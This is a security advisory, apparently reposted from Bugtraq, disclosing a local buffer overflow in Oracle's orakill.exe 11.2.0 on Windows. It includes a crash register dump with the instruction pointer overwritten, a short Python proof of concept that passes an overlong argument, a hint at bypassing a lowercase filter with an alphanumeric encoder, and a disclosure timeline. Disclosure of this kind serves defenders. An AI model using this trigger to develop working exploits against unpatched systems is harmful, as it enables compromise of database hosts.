Bugtraq: Oracle Orakill.exe Buffer Overflow

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://ift.tt/1Q0Ietv

RFLOW.txt

[+] ISR: apparitionsec

Vendor:

==============

www.oracle.com

Product:

===================

orakill.exe v11.2.0

The orakill utility is provided with Oracle databases on Windows platforms. The executable (orakill.exe) is available to DBAs to kill Oracle

sessions directly from the DOS command line without requiring any connection to the database.

C:\oraclexe\app\oracle\product\11.2.0\server\bin>orakill.exe -h

Usage: orakill sid thread

where sid = the Oracle instance to target

thread = the thread id of the thread to kill

The thread id should be retrieved from the spid column of a query such as:

select spid, osuser, s.program from

v$process p, v$session s where p.addr=s.paddr

Vulnerability Type:

===================

Buffer Overflow

Reference:

==========

http://ift.tt/24OdQEk

.html

Vulnerability Details:

=====================

ToLower() filter being applied to supplied arguments e.g. 'A' \x41 beomes 'a' \x61 etc... may be possible to subvert using encoder

technique like "ALPHA3". Also we need to supply a second argument of just 4 bytes to trigger the access violation.

orakill.exe <104 bytes>, <4 bytes>

Register dump.

EAX 40000000

ECX 0018FCA8 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaarrrr"

EDX 00000000

EBX 61616161

ESP 0018FD10 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaarrrr"

EBP 61616161

ESI 61616161

EDI 61616161

EIP 61616161

C 0 ES 002B 32bit 0(FFFFFFFF)

P 0 CS 0023 32bit 0(FFFFFFFF)

A 0 SS 002B 32bit 0(FFFFFFFF)

Z 0 DS 002B 32bit 0(FFFFFFFF)

S 0 FS 0053 32bit 7EFDD000(FFF)

T 0 GS 002B 32bit 0(FFFFFFFF)

D 0

O 0 LastErr ERROR_SUCCESS (00000000)

EFL 00010202 (NO,NB,NE,A,NS,PO,GE,G)

ST0 empty g

ST1 empty g

ST2 empty g

ST3 empty g

ST4 empty g

ST5 empty g

ST6 empty g

ST7 empty g

3 2 1 0 E S P U O Z D I

FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)

FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1

Exploit code(s):

================

import subprocess

pgm="C:\\oraclexe\\app\\oracle\\product\\11.2.0\\server\\bin\\orakill.ex

e "

payload="A"*100 + "RRRR"

subprocess.Popen([pgm, payload, " BBBB"], shell=False)

Disclosure Timeline:

====================================

Vendor Notification: October 5, 2015

Vendor Fix: April 25, 2016

June 13, 2016 : Public Disclosure

Exploitation Technique:

=======================

Local

Severity Level:

================

Low

[+] Disclaimer

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.

Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and

that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit

is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility

for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information

or exploits by the author or elsewhere.

hyp3rlinx

[ reply ]

from SecurityFocus Vulnerabilities http://ift.tt/1sEc6l3